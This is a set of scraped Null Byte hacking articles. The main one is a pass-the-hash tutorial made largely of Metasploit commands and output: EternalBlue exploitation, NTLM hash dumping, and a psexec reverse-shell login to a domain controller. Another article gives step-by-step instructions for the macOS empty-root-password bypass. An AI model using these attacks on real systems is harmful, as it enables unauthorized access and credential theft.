Could Have Been Done to Prevent It?Many people are pointing a finger of culpability at Sony for allowing this hack to take place. They probably deserve some blame (this isn't the first time around this block with Sony; remember the Sony online gaming hack of 2010?), buteverycorporation and institution with computers online is vulnerable to such an attack. There isnocomputer that is safe from being hacked, except one that is unplugged.Given adequate skill, time, and motivation, any computer can be hacked. Most hackers have limited skills and are only capable of hacking low-hanging fruit, i.e., the relatively unprotected, unpatched computer systems. On the other hand, there are a number of hackers around the world with extraordinary technical skills, and when backed by a well-heeled client with deep pockets and enough time, they can violate any computer.How the FBI Fingered North KoreaAttribution for any hack is problematic, at best. In some cases, it's impossible. In most cases, any visitor to a web server, or any server, will leave a trail. That trail includes their IP address. Knowing this, good hackers "bounce" their attacks off intermediary proxy servers and their trail will then only lead back to the last machine they were borrowing.In cases where the evidence is a dead end (which is most cases), forensic investigators at the FBI or any of the private firms such as Mandiant, will search the victim system for the malware that made the hack possible. The malware itself can yield many clues as to the identity of the hackers. Once they have the malware, they then will begin a forensic analysis of the malware using tools such as Ida Pro or Ollydbg. These tools, originally designed as software debuggers, can disassemble the code and show each of its components/modules and the data flow as well as how it uses memory, registers, etc.The screenshot below shows Ida Pro disassembling a virus. Notice that it is capable of disassembling each module and trace the data flow, giving us a clearer image of how the software actually functions (I'll be doing an article on Ida Pro in 2015, so stay tuned).By using this type of analysis, the FBI and other forensic investigators can look for the fingerprint of the hackers.Like any software development, hackers don't reinvent the wheel for each hack. They reuse existing code and repurpose it for a new hack. A skilled forensic analyst will disassemble the malware and then examine each module and compare it to known existing malware.The screenshot below shows Ollydbg disassembling the same virus. Notice the list of executable modules in the upper right-hand window? These modules can provide the fingerprint of the hacker.This is the process that led the FBI to conclude that the hack had come from North Korea. When they disassembled the malware, they found components that had been used by North Korean hackers in some of their recent cyber attacks on South Korea. Keep in mind, though, that although this type of analysis might be the best investigative tool in cases like this, it iscircumstantialevidence. It does not provide a smoking gun, but says that the bullets found at the crime scene are the same type that the perpetrator had used in the past. This is far from conclusive, but it is strong circumstantial evidence.Cyber attacks take place every day. There is nothing new about this attack other than the way Sony reacted and the worldwide reverberations. The ramifications are likely to be far-reaching into the world of international geopolitics, cyber warfare, first amendment rights, cyber intelligence, etc., but undoubtedly, it emphasizes how important hacking and cyber warfare will become in this beautiful, interconnected, brave new digital world.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Sony andShutterstockRelatedAdvice from a Real Hacker:Why I'm Skeptical That North Korea Hacked SonyHow To:Dashlane & LastPass Can Now Automatically Strengthen All of Your Weak PasswordsNews:A Brief History of HackingNews:'Turkish Crime Family' Demands $75,000 in Bitcoin from Apple in Exchange for Hacked iPhone AccountsWhite Hat Hacking:Hack the Pentagon?News:Unencrypted Air Traffic Communications Allow Hackers to Track & Possibly Redirect FlightsHow To:Fake depth of field with lens blur in PhotoshopHow To:The Five Phases of HackingHow To:Keeping Your Hacking Identity SecretHow To:Install Sony's Newest Album & Walkman Apps on Almost Any AndroidRumor Roundup:Everything You Need to Know About the Sony Xperia XZ2News:Always-Updated List of Android 10 Custom ROMs for Every Major PhoneHow To:Get Sony's New Xperia Music App with Material Design on Any AndroidNews:Sony's New Xperia Comes with the Best Selfie Camera EverNews:The Hacking of Blackhat, the MovieHow To:Install SensMe on a Sony PSP running custom firmwareNews:A Game of Real HackingHow To:Get Sony's Xperia Weather App on Any Android DeviceNews:Bioimplants Will Bring Augmented Reality Straight to Your BrainNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:Unbrick your Sony PSP Fat or SlimGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsToy challenge:CubesNews:May 2010 NPD Sales ResultsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Student Sentenced to 8mo. in Jail for Hacking FacebookCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:Trouvelot's Amazing Celestial Illustrations from the 1800sGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:Indie and Mainstream Online Games Shut Down by LulzSecNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:NAB 2010 - Sony's Digital RED ONE competitor prototypeGoodnight Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsSelf-Portrait Challenge:(My little cat) captured from my Sony Ericsson k800How To:Awwwww look Iwata, Sony Sent A Cake! How Nice.
How to Perform a Pass-the-Hash Attack & Get System Access on Windows « Null Byte :: WonderHowTo
Passwords onWindowsare stored as hashes, and sometimes they can betough to crack. In certain situations, though, we can get around that by using the hash as is, with no need to know the plaintext password. It's especially interesting if we can manage to get the hash of an administrative user since we can then authenticate withhigher privilegesby performing an attack known as pass the hash.We will be initially compromising aWindows 7box, grabbing a hash from there, and pivoting toWindows Server 2016. The user whose password hash we obtain needs to have administrative privileges and to have been logged on to both of these machines. We will be usingKali Linuxas our attacking box.Don't Miss:Discover Open Ports Using Metasploit's Built-in Port ScannerPass the Hash OverviewTo understand the pass-the-hash technique, we first need to cover what makes up the hash. OnWindows, a typical hash will look something like this:admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::There are four distinct sections, each separated by a semicolon. The first part of the hash is the username, and the second part is the numerical relative identifier.The third part is the LM hash, a type of hash that was used in older Windows systems and was discontinued starting withVista/Server 2008. You don't see these much anymore, but it is still possible to come across them if older systems are still in use. If you do, consider yourself lucky because they aretrivial to crack.The fourth part is the NTLM hash, an updated version used on modern Windows systems that is much harder to crack. It's also sometimes referred to as the NTHash, and it's what we can use to pass the hash.Don't Miss:Crack Shadow Hashes After Getting Root on a Linux SystemOur attack works because of the way passwords are stored, transmitted, and used to authenticate. Think about it: your password isn't being thrown around the network in plaintext for everyone to see — it is cryptographically hashed from the moment of creation.When authenticating with a username and password, the password is hashed once you type it in. All things considered, the computer doesn't see a difference between the password and the hash in the end. So by providing the authentication mechanism with the hash directly, we can bypass the need to know the plaintext password.Things get especially interesting because as long as we know the username, we can authenticate as an administrator with just the password hash.Step 1: Grab the Hash from Initial TargetThe first thing we need to do is compromise the initial target. In this scenario, we will assume this is a regular workstation (our Windows 7 machine). Any method will work, but for now, let's assume this machine is vulnerable to cd EternalBlue.We can useMetasploitto easily own the target. First, start it up:~# msfconsole msf5 >Then, let's run an "eternalblue" module. For more information on this module, check out my previous guide onexploiting EternalBlue on a Windows server.msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 10.10.0.1:1234 [*] 10.10.0.104:445 - Connecting to target for exploitation. [+] 10.10.0.104:445 - Connection established for exploitation. [+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes) [*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.0.104:445 - Sending all but last fragment of exploit packet [*] 10.10.0.104:445 - Starting non-paged pool grooming [+] 10.10.0.104:445 - Sending SMBv2 buffers [+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.0.104:445 - Sending final SMBv2 buffers. [*] 10.10.0.104:445 - Sending last fragment of exploit packet! [*] 10.10.0.104:445 - Receiving response from exploit packet [+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.0.104:445 - Sending egg to corrupted connection. [*] 10.10.0.104:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 10.10.0.104 [*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49210) at 2019-04-08 10:29:38 -0500 [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter >Meterpreterhas a useful command calledhashdumpthat will dump any LM or NTLM hashes present on the system.meterpreter > hashdump admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::It appears there is a user named "admin2" that likely has administrative privileges. We can copy the hash and use it to connect to another machine.Let's say there is another computer on the network that looks like a server, possibly a domain controller (this will be the Windows Server 2016 box). If we can get access to that machine we couldown the entire networkandany computer on the domain.Step 2: Pass the Hash with PsExecNow that we have the hash of a privileged user, we can use it to authenticate to the Windows Server 2016 box without supplying the plaintext password. We can do this with Metasploit'spsexecmodule.PsExec is acommand-linetool on Windows that allows you to execute programs and commands on remote systems. It is useful for administrators because it integrates with console applications and utilities for seamless redirection of input and output. But there is always a trade-off between convenience and security. PsExec can be abused by an attacker to execute malicious commands or to serve as a backdoor.Metasploit contains a modified version of PsExec that makes it easy to connect to remote targets. Use thesearchcommand to locate the module:msf5 > search psexec Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 2 auxiliary/admin/smb/psexec_command normal Yes Microsoft Windows Authenticated Administration Utility 3 auxiliary/admin/smb/psexec_ntdsgrab normal No PsExec NTDS.dit And SYSTEM Hive Download Utility 4 auxiliary/scanner/smb/impacket/dcomexec 2018-03-19 normal Yes DCOM Exec 5 auxiliary/scanner/smb/impacket/wmiexec 2018-03-19 normal Yes WMI Exec 6 auxiliary/scanner/smb/psexec_loggedin_users normal Yes Microsoft Windows Authenticated Logged In Users Enumeration 7 encoder/x86/service manual No Register Service 8 exploit/windows/local/current_user_psexec 1999-01-01 excellent No PsExec via Current User Token 9 exploit/windows/local/wmi 1999-01-01 excellent No Windows Management Instrumentation (WMI) Remote Command Execution 10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 11 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution 12 exploit/windows/smb/psexec_psh 1999-01-01 manual No Microsoft Windows Authenticated Powershell Command Execution 13 exploit/windows/smb/webexec 2018-10-24 manual No WebExec Authenticated User Code ExecutionIt's an oldie but a goodie. Load it up with theusecommand.msf5 > use exploit/windows/smb/psexecNow we can display the current settings with theoptionscommand.msf5 exploit(windows/smb/psexec) > options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Exploit target: Id Name -- ---- 0 AutomaticFirst, we need to set the IP address of the target (the server we are now targeting):msf5 exploit(windows/smb/psexec) > set rhosts 10.10.0.100 rhosts => 10.10.0.100Then we can set the username and password, using the hash we obtained instead of a plaintext password.msf5 exploit(windows/smb/psexec) > set smbuser admin2 smbuser => admin2 msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7 smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7Next, set the payload — we will use the classic Meterpreter reverse TCP.msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcpAnd the IP address of our local machine and a desired port.msf5 exploit(windows/smb/psexec) > set lhost 10.10.0.1 lhost => 10.10.0.1 msf5 exploit(windows/smb/psexec) > set lport 1234 lport => 1234The rest of the default options are fine for now, so we should be good to go. Fire it off with theruncommand.msf5 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 10.10.0.1:1234 [*] 10.10.0.100:445 - Connecting to the server... [*] 10.10.0.100:445 - Authenticating to 10.10.0.100:445 as user 'admin2'... [*] 10.10.0.100:445 - Selecting PowerShell target [*] 10.10.0.100:445 - Executing the payload... [*] Sending stage (206403 bytes) to 10.10.0.100 [+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable... [*] Meterpreter session 2 opened (10.10.0.1:1234 -> 10.10.0.100:49864) at 2019-04-08 10:36:37 -0500 meterpreter >And we now have a Meterpreter session. To confirm, we can issue commands likegetuidandsysinfoto display information about the target.meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DC01 OS : Windows 2016 (Build 14393). Architecture : x64 System Language : en_US Domain : DLAB Logged On Users : 4 Meterpreter : x64/windowsPretty neat. We didn't even need a password — only the hash — to get access to the server. We now own this system.PreventionIt is generally pretty difficult to defend against a pass-the-hash attack because it ends up looking like standard authentication. The best thing to do is implement adefense-in-depthapproach to mitigate potential damage.Keepingprivileges to a minimumwill negate the amount of damage an attacker can do if they gain an initial foothold in the network. Other standard defense methods should be utilized as well, such as the use of afirewalland IDS/IPS to monitor and prevent any malicious activity.Windows can also be configured not to cache credentials, which would prevent attackers from harvesting hashes stored in memory. Additional steps can be taken as well to isolate sensitive systems on the network to limit an attacker's ability to pivot.ConclusionIn this tutorial, we learned about Windows hashes, how they are used in authentication, and how they can be abused to perform a pass-the-hash attack. After we compromised a low-level target, we dumped the hashes and found an administrative account. From there, we used Metasploit to pass the hash and ultimately get System access on a server. If you have any questions on any of this, ask them below.Don't Miss:How to Bypass UAC & Escalate Privileges on Windows Using MetasploitWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byrawpixel/PexelsRelatedHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHacking macOS:How to Hack a Mac Password Without Changing ItHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Use Hash-Identifier to Determine Hash Types for Password CrackingHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Use SHA-256 Hash to Verify Your Downloads Haven't Been ModifiedHow To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationHow To:Understanding Signature Schemes: How Data Sources Are Authenticated, Secured, & SpoofedHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHack Like a Pro:Using TFTP to Install Malicious Software on the TargetHack Like a Pro:How to Crack User Passwords in a Linux SystemHow To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Break into Router Gateways with PatatorHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Recover a Windows Password with OphcrackHow To:Remove a Windows Password with a Linux Live CDRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Hack Mac OS X Lion PasswordsDrive-By Hacking:How to Root a Windows Box by Walking Past ItSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Mine Bitcoin and Make MoneyHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmNews:FIX WINDOWS 7 SLOW STARTUP TIMES...
How to Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required) « Null Byte :: WonderHowTo
It looks like there isa fatal flawin the current macOS High Sierra 10.13.1, even straight from the login menu when you first start up the computer. This severe vulnerability lets hackers — or anyone with malicious intentions — do anything they want as root users as long as they have physical access to the computer.Designated asCVE-2017-13872by Apple, this bug is not the be-all and end-all of exploitable bugs, where you can load up a remote terminal and just log into a victim's Mac without leaving the room you're in. Unless, of course, thevictim has screen-sharing enabled. If this isn't the case, the attacker is going to have to get up close and personal with the victim's laptop, meaning the attacker is going to have to James Bond his or her way to the victim's Mac and be in front of the computer itself.Appleissued a patch within 18 hoursof this vulnerability being discovered, but for users who had not yet upgraded their operating system from the original version of High Sierra (10.13.0) to 10.13.1 before applying the patch,some have reported the bug re-emerging after updating. Because this patch seems to be having some issues rolling out, you shouldtest to make sure this vulnerability doesn't affect your macOS device.Don't Miss:How to Know if You've Been HackedStep 1: Logging into Root from BootA hacker can just start up the machine, literally. When on the login window, they'd click on the "Other" option, not an actual user or guest user. For the username, they'd simply inputroot, and for the password, it would be left empty. All they have to do is click inside the password box, then hit enter. They may need to hit enter repeatedly until successfully logged in and on the desktop.If someone is already logged into the computer, a hacker could still use this root/passwordless trick to bypass privilege escalation prompts.It doesn't need to be from the login window.Security researcher Patrick Wardle was also able todemonstrate this scary exploit working remotelyif screen sharing was enabled.So what's happening here? According toPatrick's findings, the reason this takes two clicks is a logic error in the way macOS attempts to validate credentials for unknown users. In this case, the first attempt actually creates the user account and sets whatever password you used to attempt to log in (or no password). The second attempt to log in then logs in and authenticates with the account that was created with the first click.Step 2: Looting the SystemThat was quick. After getting in, the attacker can quickly install any type of software he or she wants on the victim's Mac, so long as no one is looking. They can also reset passwords, view hidden files, and anything else you can think of.Don't Miss:How to Steal MacOS Files with a Rubber DuckyProtecting Yourself from This HackNow that the scary stuff is out of the way, it's fairly simple to make sure this doesn't happen without waiting for Apple to fix this problem, or have found the patch to be ineffective.On your admin account, open a terminal window, then type the line below, followed by pressing enter. The-uargument will unlock the non-existing password allowing you to change the root password.sudo passwd -u rootIf logged into the administrator account, you'll need to input your admin password first before proceeding. Then, enter a root password, then confirm it.More Info:How to Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawIn the end, make sure to keep that root password safe. If you lose that password, it will be completely difficult should you need it, and you will have to format or go through some extra steps to get complete access back onto your Mac.Have any questions? Comment below or hit me up on [email protected] Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null Byte; Screenshots by Nitrous/Null ByteRelatedHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraHow To:The Ultimate Guide to Hacking macOSHow To:Get iOS 10's New Wallpaper on Any PhoneHow To:Fix the 'Software Update Is Required to Connect to Your iPhone' Warning on Your MacHacking macOS:How to Hack a Mac Password Without Changing ItHacking macOS:How to Hack a MacBook with One Ruby CommandNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Bypass the Password Login Screen on Windows 8Hacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Get iOS 10 on Your iPad or iPhone Right Now with Apple's Public BetaHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)How To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Hack Metasploitable 2 Part 1How To:Steal Ubuntu & MacOS Sudo Passwords Without Any CrackingHow To:Customize the Login Window Background on Your MacHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHow To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItOne-Tap, Hassle-Free Logins:Automate the Sign-In Process for Your Favorite Websites on AndroidGoodnight Byte:Coding a Web-Based Password Cracker in PythonSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Flaw in the Latest Linux Graphical Server Allows Passwordless LoginsHow To:Bypass Windows and Linux PasswordsHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitGoodnight Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsHow To:Hack Mac OS X Lion PasswordsHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmMastering Security, Part 1:How to Manage and Create Strong PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Avoid Root Password Reset on Kali Live USB Persistence BootHow To:Remotely Reset Router P.DG AV4001NNews:Super humanos. Adrenalina, en 60 segundos. www.explainers.tvHow To:log on Windows 7 with username & passwordGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:Change from BASH to zsh
How to Build and Install Kali Nethunter (The New Version) On a Supported Android Device Running Android 6.0.1 « Null Byte :: WonderHowTo
Hi guys.Hope you all had a good Christmas , today i have a tutorial for you.If you brick you device it's not my faultI will show you how to build the new version of NetHunter and install it to your device(must be a supported device,,see the list below)Nexus 4(mako)Nexus 5(hammerhead)Nexus 6(shamu)Nexus 7 2012(nakasi) and 2013 model(razor)Nexus 9(volantis)Nexus 10(mantaray)One Plus One(bacon)For my build setup i have Kali Linux installed in vmware, you could use virtualbox also.If you have it installed on your pc,,more power to you.So the requirements are:Have Kali Linux in a vm or installed on your pc (you could do the same thing on ubuntu,,but for the sake of it i use kali)A rooted supported android device (for marshmallow you should root your device with supersu 2.64 or latestPlease note: this tutorial will not show you how to install linux neither how to root your android device.I tested on a nexus 5 (my phone) and i have the latest marshmallow 6.0.1 on it and device is rooted.It's not very complicated, if you ever built android roms or aosp from source it's a lot easier, the Nethunter guys made a script that pretty much does it all by itself.First thing , we will make a folder to work in, name it the way you want , i will just call it nethunter:mkdir ~/nethunterThen change directory into the folder you created:cd ~/nethunterOnce inside the folder type:git clonehttps://github.com/offensive-security/gcc-arm-linux-gnueabihf-4.7After that we are going to clone the repo of the new installer branch like so:git clonehttps://github.com/offensive-security/kali-nethunter.git-b newinstaller-fjWhat we just done will created a folder named AnyKernel2 so we are going to change directory into it:cd ~/nethunter/kali-nethunter/AnyKernel2Then we are ready to build:python build.py -d hammerhead -m (the -d means the device you are building for in my case it's a nexus 5 codename hammerhead,,and the -m means marshmallow)Once it's done,,you will have a zip file into the AnyKernel2 folder, and this is what you are going to flash in recovery to install NetHunter to your device.The new installer is using aroma so you will be able to choose what to install.On the first page or so you will be asked to install a version of SuperSu older than the one i provided you , untick this box, you don't want this to install and replace the version of SuperSu you curently have(2.64 ++)When aroma will install it's probable that it will stuck at 40% for a couple of minutes, don't worry, let it do his things,,but if you are stuck there for more than lets say 10 minutes just force shudown your device by holding the power button down and reboot,,Kali NetHunter should have been installed correctly anyway.Make sure that once you boot with your new KaliNethunter go into the Kali app and update the chroot.Once in a while "Check app update" inside the kali app, that's how you will keep up with new features once they are added to github.That's about it, if you have any question feel free to ask.*Big thanks to Binkybear and Jmingov who provided me usefull info*Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:HID Keyboard Attack with Android (Not Kali NetHunter)Hack Like a Pro:How to Create a Smartphone Pentesting LabHacking Android:How to Create a Lab for Android Penetration TestingNews:Almost a Year Later, Android Oreo Is Still on Less Than 1% of PhonesHow To:Don't Like CyanogenMod? Here Are 4 Great Alternative ROMs for Your OnePlus OneHow To:Install Android Q Beta on Any Project Treble PhoneHow To:Get Android Nougat Features on Your Phone Right NowHow To:Install the Xposed Framework on Android Lollipop DevicesHow To:Flash Kali NetHunter on OnePlus and Nexus Devices (Most) As a Secondary ROMAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyXposed 101:How to Install the Xposed Framework on Lollipop or MarshmallowHow To:Install the Xposed Framework on Android 6.0 Marshmallow DevicesHow To:Rooted Android = Your New PenTesting ToolHow To:Install Flash on a Samsung Galaxy Note, Nexus 7, and Other Android 4.1 Jelly Bean DevicesAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootNews:Christmas Is Coming Early! Android 7.1 Beta Is Hitting Nexus Devices This MonthHow To:Fix Android Lollipop's Memory Leak for Improved PerformanceHow To:Google Play Instant Apps & Games Not Working? Check These SettingsNews:How Android Go Is Bringing Flagship Performance to Low-End PhonesHow To:Get Android N's Redesigned Settings Menu on Your Android Right NowNews:Google's Uncertified Device Ban Is a Hit on Amazon — No More Android Apps on Fire OSHow To:Get Android M's New App Drawer on Any Device Right NowMinecraft:Pocket Edition App Now Available in the Android Market